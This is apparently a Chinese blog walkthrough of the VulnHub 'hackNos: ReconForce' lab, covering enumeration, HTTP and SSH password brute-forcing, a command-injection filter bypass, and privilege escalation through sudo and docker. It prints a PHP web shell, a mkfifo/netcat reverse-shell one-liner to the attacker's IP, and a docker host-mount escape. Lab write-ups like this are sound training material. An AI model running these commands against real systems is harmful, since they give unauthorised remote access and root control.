vulnhub靶场hackNos: ReconForce (v1.1)

0x000 靶场描述


Good Enumeration Skills

Difficulty: Easy to Intermediate

Flag: 2 Flag first user And the second root

Learning: Web Application | Enumeration | Privilege Escalation

Web-site: www.hacknos.com

Contact-us

Twitter: @rahul_gehlaut


0x001 靶场下载


https://www.vulnhub.com/entry/hacknos-reconforce,416/


0x002 信息收集


探测存活主机

netdiscover -r 192.168.1.0/24

端口扫描

nmap -sS -sV -A -p 1-65535 192.168.1.102

21     ftp
22     ssh
80     http

目录扫描

dirsearch -u http://192.168.1.102 --wordlists=/usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt

访问网站主页,是一个静态页面,没什么可用信息;但是几点TroubleShoot会跳转到一个基础验证页面。

ftp匿名访问

ftp允许匿名访问,目录下面没有任何信息;但是访问提示Security@hackNos

msf模块破解

msfconsole
use auxiliary/scanner/http/http_login
echo 'Security@hackNos' >> /usr/share/metasploit-framework/data/wordlists/http_default_pass.txt
set AUTH_URI /5ecure/
set RHOSTS 192.168.1.102
set STOP_ON_SUCCESS true
exploit

成功破解出账号密码:admin:Security@hackNos


0x003 漏洞利用


分析源代码绕过

一看页面,猜想肯定是命令执行漏洞;查看当前目录下有什么信息,发现out.php文件,和当前页面一样,查看源代码

发现没有对 |ls 这种格式进行过滤

'',
        ';'  => '',
        '| ' => '',
        '-'  => '',
        '$'  => '',
        '('  => '',
        ')'  => '',
        '`'  => '',
        '||' => '',
    );

    // Remove any of the charactars in the array (blacklist).
    $target = str_replace( array_keys( $substitutions ), $substitutions, $target );

    // Determine OS and execute the ping command.
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
        // Windows
        $cmd = shell_exec( 'ping  ' . $target );
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping  -c 4 ' . $target );
    }

    // Feedback for the end user
    echo "

{$cmd}

";
}

?> 

反弹shell

先wget上传一个php木马用来执行系统命令

<?php system($_POST[cmd]);?>

https://www.revshells.com/ 网站生成shell

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.1.106 9999 >/tmp/f

burpsuite抓取刚上传的木马文件的包,改为POST提交;本地监听,成功获取到shell

python -c 'import pty;pty.spawn("/bin/bash")'

查看有哪些用户,发现存在recon用户

hydra测试用户密码

hydra -l recon -P passwd.txt ssh://192.168.1.102

ssh远程登陆

ssh recon@192.168.1.102


0x004 提权


sudo提权

查看/home/recon目录,发现一个文件名字为:.sudo_as_admin_successful

sudo -l 输入密码,发现可以使用所有命令

docker提权

docker images
docker run -v /:/mnt --rm -it alpine chroot /mnt sh   #创建容器(自动下载alpine文件)
docker images
docker run -it -v /:/mbt bfe296a52501    #创建宿主机目录到/mbt目录
id


0x005 flag


cat /home/recon/user.txt
sudo cat /root/root.txt

posted @ 2022-11-22 14:03  Cx330Lm  阅读(24)  评论(0编辑  收藏  举报